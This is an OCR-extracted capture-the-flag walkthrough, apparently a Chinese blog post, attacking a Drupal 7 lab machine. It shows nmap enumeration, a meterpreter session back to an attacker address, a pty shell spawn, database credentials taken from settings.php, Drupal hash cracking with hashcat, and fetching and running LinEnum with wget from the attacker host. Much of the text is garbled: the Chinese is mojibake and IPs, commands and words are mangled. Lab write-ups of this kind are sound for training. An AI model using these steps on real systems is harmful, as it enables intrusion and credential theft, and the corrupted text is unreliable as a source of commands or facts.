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Starting Nmap 7 nmap.org ) at 2021-09-01 17:37 CST
Nmap r 192. 19@.2

Host is up ( )

Nmap scan re . 3.19@.129

Host is up ( )

Nmap scan rt . 19@.134

Host is up )

Nmap done: i addre 3 hosts up) scanned in 5.25 seconds

KILBFRIP: 192.168.190.134
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nmap -T5 -A -v -p- 192.168.190.134

g R

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 17:38 CST
Happy 24th Birthday to Nmap, may it live to be 124!
NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.
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Completed NSE at 17:38, 0.00s elapsed
Initiating NSE at 17:38
Completed NSE at 17:38, 0.00s elapsed
Initiating NSE at 17:38
Completed NSE at 17:38, 0.00s elapsed
Initiating Ping Scan at 17:38
Scanning 192.168.190.134 [2 ports]
Completed Ping Scan at 17:38, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:38
Completed Parallel DNS resolution of 1 host. at 17:38, 0.00s elapsed
Initiating Connect Scan at 17:38
Scanning 192.168.190.134 [65535 ports]
Discovered open port 80/tcp on 192.168.190.134
Discovered open port 22/tcp on 192.168.190.134
Discovered open port 111/tcp on 192.168.190.134
Discovered open port 48247/tcp on 192.168.190.134
Completed Connect Scan at 17:38, 2.57s elapsed (65535 total ports)
Initiating Service scan at 17:38
Scanning 4 services on 192.168.190.134
Completed Service scan at 17:38, 11.01s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.190.134.
Initiating NSE at 17:38
Completed NSE at 17:39, 1.62s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.11s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed
Nmap scan report for 192.168.190.134
Host is up (0.00019s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0pl Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:€6:77:4C:22:72:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
| 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
_http-generator: Drupal 7 (http://drupal.org)
http-methods:
_ Supported Methods: GET HEAD POST OPTIONS
http-robots.txt: 36 disallowed entries (15 shown)

/themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
/INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
_/LICENSE.txt /MAINTAINERS.txt
_http-server-header: Apache/2.2.22 (Debian)
_http-title: Welcome to Drupal Site | Drupal Site
open rpcbind 2-4 (RPC #100000)

|
|
|
|
|
| /includes/ /misc/ /modules/ /profiles/ /scripts/
|
|
|
|
|

program version port/proto service
100000 2,3,4 111/tcp rpcbind
100000 2,3,4 111/udp rpcbind
100000 3,4 111/tcp6 rpcbind
100000 111/udp6 rpcbind
100024 46013/udp  status
100024 47802/tcp6 status
100024 48247/tcp  status
100024 58175/udp6 status




48247 /tcp open status 1 (RPC #100024)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed

Initiating NSE at 17:39

Completed NSE at 17:39, 0.00s elapsed

Initiating NSE at 17:39

Completed NSE at 17:39, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds
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ract with a module by name or index.

cad php/meterpre
2.168.190.134

.168.190.129:4444 — 192.168.190.
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PAT 1s KPiflagl txt, BEHRE


file:///C:/Users/ADMINI~1.ZB-/AppData/web/cms/#drupal

Lo

=3

COPYRIGHT.txt

[%1]

INSTALL.
INSTALL.
INSTALL.
LICENSE.
MAINTAINE
README . tx
UPGRADE.
authorize.php
cron.php
flagl.txt
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install.php
misc
modules
profiles
robots.txt
scripts

themes

flag2

WiEflag1 KN 2, flagn] efEdrupal it B X, AT shell 3kEshell/5, AT grep -Rn "flag2" * K¥iflag2
1E sites/default/settings.php 2517, &FEflag



‘drupaldb’,
"dbuser’,
"RO

alhost

‘mysgl’,

flag3

flag2if/n ZiENIE, ERBABMBARME KT, REXHlag2i THMEREELE, ZRELHANBEEEEKSE
.

FREXAZ Eoshell
python -c "import pty; pty.spawn("/bin/sh")"

BT mysql -u dbuser -p FEEEIEE



$ mysqgl -u dbuser -p
mysgl -u dbuser -p
Enter password: R@ck3t

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 73
Server version: 5.5.60-@+deb7ul (Debian)

Copyright (c) 2@@@, 2018, Oracle and/or its affiliates. ALl rights reserved.

Oracle 1s a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
OWners.

Type "help;" or "\h" for help. Type ‘\c’' to clear the current input statement.
mysqgl>

mysgl> show databeses;

show databeses;

ERROR 1064 (420@@): You have an error in your S5QL syntax; check the manual tha
mysql> show databases;

show databases;

Database

+
;

| information_schema
| drupaldb
+
2

+
!
+
|
!

+
rows in set (0.00 sec)

mysgl> [ CSDN @X|

# N\drupaldbfE, BEEFIER
use drupaldb

show tables

actions

authmap

batch

block
block_custom
block_node_type
block_role
blocked ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
cache_update
cache_views
cache_views_data
comment
ctools_css_cache
ctools object cache




date_format_locale

date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed

file usage

filter

filter_format

flood

history

image_effects
image_styles
menu_custom

menu_1links

menu_router

node

node_access
node_comment_statistics
node_revision

node_type

queue

rdf_mapping

registry

registry file

role

role permission
search_dataset
search_index
search_node_links
search_total

semaphore

sequences

sessions

shortcut_set
shortcut_set_users
system

taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary

url alias

users

users_roles

variable

views_display

views_view
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ct * from users;
= from

| NULL

| NULL

| filtered_html
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PAT AR

$S\$DvQI6Y600iNeXRIEEMFO4Y6FVN8NnuUjIcEDTCPINS5 hash.txt
$S\$DWGrxef6 hash.txt
hashcat -m 7900 -a © hash.txt /usr/share/wordlists/rockyou.txt
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f# Fladminik 5 % 3%, fEDashboard® % #iflag3


file:///C:/Users/ADMINI~1.ZB-/AppData/tools/hashcat.md

flag3

View Edit

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to
get what's in the shadow.

flag4

RHENag3iIiR7™, cat /etc/passwd

bin/bash
usr/sbin:/bin/sh

gnats: g-Re em ( in):/ flib/gnats:/bin/sh
nobody i /

home/

Shome/f
n you use

Probably.
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oot,

cannot open directory /root/: Permission denied

¢ F Line Enum32 A

fEkali £ F#HLineEnum, FE31I—AHTTP k% roo

git clone https://github.com/rebootuser/LinEnum.git

LinEnum
python -m SimpleHTTPServer 8080

7E B ###HlL_E T #LineEnumh/5 $#u4T

wget http://192.168.190.129:8080/LinEnum.sh
bash LinEnum.sh
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